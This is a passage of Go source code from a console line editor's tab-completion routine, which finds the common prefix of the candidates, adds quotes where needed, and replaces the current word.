	if err != nil || len(list) <= 0 {
		return conio.CONTINUE
	}
	commonStr := getCommmon(list)
	needQuote := strings.ContainsRune(str, '"')
	if !needQuote {
		for _, node := range list {
			if strings.ContainsRune(node, ' ') {
				needQuote = true
				break
			}
		}
	}
	if needQuote {
		var buffer bytes.Buffer
		buffer.WriteRune('"')
		buffer.WriteString(commonStr)
		if len(list) <= 1 {
			buffer.WriteRune('"')
		}
		commonStr = buffer.String()
	}
	if len(list) == 1 && !strings.HasSuffix(commonStr, "/") && !strings.HasSuffix(commonStr, "/\"") {
		commonStr += " "
	}
	if slashToBackSlash {
		commonStr = strings.Replace(commonStr, "/", "\\", -1)
	}
	if compareWithoutQuote(str, commonStr) {
		return KeyFuncCompletionList(this)
	}
	this.ReplaceAndRepaint(wordStart, commonStr)
	return conio.CONTINUE
}
<|endoftext|>